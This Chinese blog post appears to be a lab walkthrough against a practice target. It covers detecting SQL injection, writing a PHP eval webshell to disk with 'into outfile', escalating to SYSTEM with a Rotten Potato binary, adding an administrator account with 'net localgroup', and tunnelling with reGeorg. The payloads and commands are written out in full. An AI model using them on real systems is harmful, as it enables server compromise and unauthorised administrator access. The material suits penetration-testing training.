sql获得权限，内网穿透获取管理员密码（小宇特详解）

本文主要是介绍sql获得权限，内网穿透获取管理员密码（小宇特详解），对大家解决编程问题具有一定的参考价值，需要的程序猿们随着小编来一起学习吧！

sql获得权限内网穿透获取管理员密码

SQL注入拿webshell（into outfile into dumpfle）

先输入?id=1和?id=2

在这里插入图片描述

如果id=1能回显 id=2不能回显，id=2-1能回显，说明有sql注入

在这里插入图片描述

sql注入其实可以写webshell的

into outfile 导出文件

into dumpfile 导出文件

将查询的结果导出成文件

http://afsgr16-b1ferw.aqlab.cn/?id=1 union select 1,2 into outfile ‘C:/phpStudy/WWW/123456.txt’

在这里插入图片描述

webshell管理工具

菜刀，蚁剑=>一句话木马直接相连（默认流量没有加密）

冰蝎，哥斯拉=>流量有加密，只能上传他自己的木马

这里在sql注入点注入一句话木马

http://afsgr16-b1ferw.aqlab.cn/?id=1 union select 1,"<?php eval($_REQUEST[8])?>" into outfile ‘C:/phpStudy/WWW/4448.php’

在这里插入图片描述

提权辅助页面，查询系统可能存在的漏洞

这里将直接用菜刀连接，连接密码为8，连接后打开虚拟终端，这里先看一下权限whoami

在这里插入图片描述

当我们遇到不是管理员权限的时候我们肯定需要提权

1.利用目标主机上的服务提权（目标主机运行的xxx软件，但是这个软件有漏洞可以利用）

2.利用web服务（一台机器上可能有多个网站，多个web容器）

3.利用windows漏洞systeminfo找补丁，找没有打的补丁

在虚拟终端中输入systeminfo来查看系统信息

在这里插入图片描述

这个是一个windows提权辅助工具https://i.hacking8.com/tiquan/

在这里插入图片描述

将systeminfo查到的已打的补丁，查询得到没有打的补丁。然后根据靶机的型号来在github上找到这个cve的漏洞进行操作。

利用魔改版烂土豆提权

这里有一个提权神器。烂土豆。这里可以通过烂土豆来提权

将烂土豆的exe文件，拖入到目录中改名（因为这里的原来的文件名太长了）。在虚拟终端中打开1111.exe(这里改成了1111.exe)。

在这里插入图片描述

直接输入1111.exe -p "whoami"来进行提权。

在这里插入图片描述

这里已经成了系统权限。

这里通过烂土豆来用系统命令来进行生成一个新的用户

在这里插入图片描述

这里可以在网上搜索windows cmd修改管理员权限

net localgroup administrators 用户名 /add

这里1111.exe -p “net localgroup administrators xhy /add”

在这里插入图片描述

这里已经提权了

内网传透（通过reg来设置中转站，然后用全局代理远程桌面）

远程桌面只有管理员可以连接

netstat -ano来查看端口

在这里插入图片描述

cmd命令mstrc远程桌面连接

在这里插入图片描述

你在这里将创建的管理员账号输入，发现登不上。这里是什么原因呢。刚刚咱们找到的那台机器是windows2008，现在是2003这是为什么呢

这就像域名的核心是ip，一个ip底下可能有多台服务器，这些服务器就共用了一个ip，这个的核心是端口映射，这里解释一下什么是端口映射，相当于是有3个主机ABC连在了一个路由器上，这里说网关吧，假如A主机开的3389端口，而B主机不开的3389端口，这样从外网你用3389访问，网关就会让你访问A主机，是永远不可能访问到B主机的。

这里使用了php作为了中间的媒介（PHP可以帮助我们发起请求）

这里使用正向连接：请求=>php=>发送出去这里的php就相当于一个间谍

将后缀为php的reGeorg这个tunnel.nosocket.php放到菜刀的目录中，也就是网站的目录中。

在这里插入图片描述